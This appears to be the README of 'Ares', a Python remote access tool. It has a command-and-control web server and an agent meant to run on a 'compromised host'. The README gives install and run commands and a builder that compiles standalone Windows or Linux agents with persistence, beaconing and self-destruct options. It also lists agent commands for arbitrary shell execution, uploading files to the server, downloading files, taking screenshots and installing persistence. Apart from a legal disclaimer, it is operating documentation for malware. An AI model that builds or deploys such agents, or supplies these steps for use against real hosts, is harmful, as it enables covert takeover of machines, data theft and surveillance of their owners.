Ares is a Python Remote Access Tool.
Warning: Only use this software according to your current legislation. Misuse of this software can raise legal and ethical issues which I don't support nor can be held responsible for.
Ares is made of two main programs:
- A Command aNd Control server, which is a Web interface to administer the agents
- An agent program, which is run on the compromised host, and ensures communication with the CNC
The Web interface can be run on any server running Python. The agent can be compiled to native executables using pyinstaller.
Install the Python requirements:
pip install -r requirements.txt
Initialize the database:
cd server ./ares.py initdb
In order to compile Windows agents on Linux, setup wine (optional):
Run with the builtin (debug) server:
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded
Or run using gunicorn:
gunicorn ares:app -b 0.0.0.0:8080 --threads 20
The server should now be accessible on http://localhost:8080
Run the Python agent (update config.py to suit your needs):
cd agent ./agent.py
Build a new agent to a standalone binary:
./builder.py -p Linux --server http://localhost:8080 -o agent ./agent
To see a list of supported options, run ./builder.py -h
./agent/builder.py -h usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT [--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME] [--max_failed_connections MAX_FAILED_CONNECTIONS] [--persistent] Builds an Ares agent. optional arguments: -h, --help show this help message and exit -p PLATFORM, --platform PLATFORM Target platform (Windows, Linux). --server SERVER Address of the CnC server (e.g http://localhost:8080). -o OUTPUT, --output OUTPUT Output file name. --hello-interval HELLO_INTERVAL Delay (in seconds) between each request to the CnC. --idle_time IDLE_TIME Inactivity time (in seconds) after which to go idle. In idle mode, the agent pulls commands less often (every <hello_interval> seconds). --max_failed_connections MAX_FAILED_CONNECTIONS The agent will self destruct if no contact with the CnC can be made <max_failed_connections> times in a row. --persistent Automatically install the agent on first run.
Supported agent commands
<any shell command> Executes the command in a shell and return its output. upload <local_file> Uploads <local_file> to server. download <url> <destination> Downloads a file through HTTP(S). zip <archive_name> <folder> Creates a zip archive of the folder. screenshot Takes a screenshot. python <command|file> Runs a Python command or local file. persist Installs the agent. clean Uninstalls the agent. exit Kills the agent. help This help.